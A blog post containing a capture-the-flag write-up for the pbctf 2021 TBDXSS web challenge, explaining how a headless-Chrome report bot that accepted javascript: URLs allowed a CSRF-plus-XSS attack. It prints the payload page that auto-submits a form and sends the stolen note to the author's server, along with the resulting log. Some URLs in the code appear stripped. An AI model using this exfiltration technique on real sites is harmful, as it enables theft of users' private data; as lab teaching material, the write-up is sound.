Monday, October 11, 2021

Write-Up: pbctf 2021 - TBDXSS

This weekend I participated in the 2021 Perfect Blue ctf. This is my write-up on how to solve the TBDXSS challenge.

[Note: This post has mild spoilers for the vault problem as well]

The challenge

Here is the challenge description:

The TBD in the challenge name stands for ....

PS: Flag is admin bot's note.

Author: Jazzy


When we look at the web page, we find a notes app that stores a single note that an contain any html, along with a form to change the contents of the note. The contents of the note are stored in a cookie with sameSite=lax. All pages have X-Frame-options: deny.

There is also a "report a link" functionality, that triggers a headless chrome instance to visit a link of your choosing. This chrome instance has a cookie pre-installed that puts the flag into the note.

Finding the vulnerability

The first things I noticed:

  • There is no CSRF token on the form, so you can submit it cross-site
    • However, the sameSite=lax on the cookie means you have to actually navigate to the the result for the cookie to be set. You can't just post via AJAX
    • The X-Frame-Options: deny prevent you submitting the form into an <iframe> (using the target attribute on the form and name on the iframe)
    • The end result, is as far as I could tell, to change the note you would have to do a top-level navigation (e.g. via submitting a form) to change the note. The success page does not include the note, so you do not execute your JS after success.
  • You can put arbitrary html into the note (XSS!). However doing so deletes the previous contents of the note (The flag)


I struggled with this for a while. If not for the x-frame-options: deny, my approach would be:

  • Load the original note in an <iframe>
  • submit a form that changes the note into a different <iframe> (via target attribute on the form)
  • Load the new note in a new <iframe>. Since the two iframes belong to the same origin they should be able to have full access to each other

However, that was not to be because of the X-Frame-Options. A similar approach might be with pop-up windows, however, chrome's popup blocker would prevent that.

For a while I looked for ways to read pages cross-origin. That of course would be spitting in the face of the same origin policy, and is thus impossible. I probably should of recognized that the entirety of internet security is not a lie, and spent less time down that rabbit hole.

Later when looking at a different problem (Vault) I came to the key insight. Vault also has a similar setup with the, report a link headless chrome bot. However, the code between them had two major differences, which was suspicious.

  • TBDXSS was running in incognito mode, Vault was not (Important for the solution to vault)
  • Vault had code to ensure that all urls started with http. TBDXSS did not.

This meant that TBDXSS report feature could accept javascript: scheme urls. Thus the key XSS was not in the notes app, but in the headless chrome bot code.

 Furthermore, it appears that the chrome pop-up blocker does not apply to javascript: code in this context. (In local testing, in my normal chrome it seemed like you could only make a single pop-up from an about:blank page using javascript urls. When i tested it on the bot you could make multiple).

[Edit: After reading Sam Brow's write up for the same problem, it sounds like the pop-up blocker was disabled generally in puppeteer, so it was possible to solve this problem more directly and the javascript uri thing was unnecessary]

The Exploit

With that in mind, we can now make our exploit, using javascript urls to launch multiple pop-ups that can read from each other.

  • Launch a pop-up in a named window: '', 'first' )
  • Launch a second pop-up to a url controlled by us. This will contain a form with js to submit the form on page load, that changes the note to malicious JS.
    • The malicious JS code will involve something like:'', 'first').document.body.innerHTML; to read the contents of the first frame
  •  After a delay, navigate the second pop-up to so that the malicious JS is executed
  • The malicious JS reads the flag from the first pop-up, and sends it back to us

Putting it all together, the url we "report" is:

And the contents of my page is:

<base href=""></head><body>
<form action="/change_note" id="noteform" method=POST  >
 <input type="hidden" name="data"
    var first ='', 'first').document.body.innerHTML;
    x=new XMLHttpRequest;'GET', ''+encodeURIComponent(first));
 <input id="sub" type="submit" value="submit">
	document.getElementById( 'noteform' ).submit();

This results in the following in my apache log: - - [12/Oct/2021:03:17:59 +0000] "GET /notes.htm HTTP/1.1" 200 6138 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36" - - [12/Oct/2021:03:18:04 +0000] "GET /log?%0Apbctf%7Bg1t_m3_4_p4g3_r3f3r3nc3%7D%0A%0A%20%20%20%20 HTTP/1.1" 404 5702 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"

De-urlencoding that, the flag is: pbctf{g1t_m3_4_p4g3_r3f3r3nc3}. Thus the problem is solved.

No comments:

Post a Comment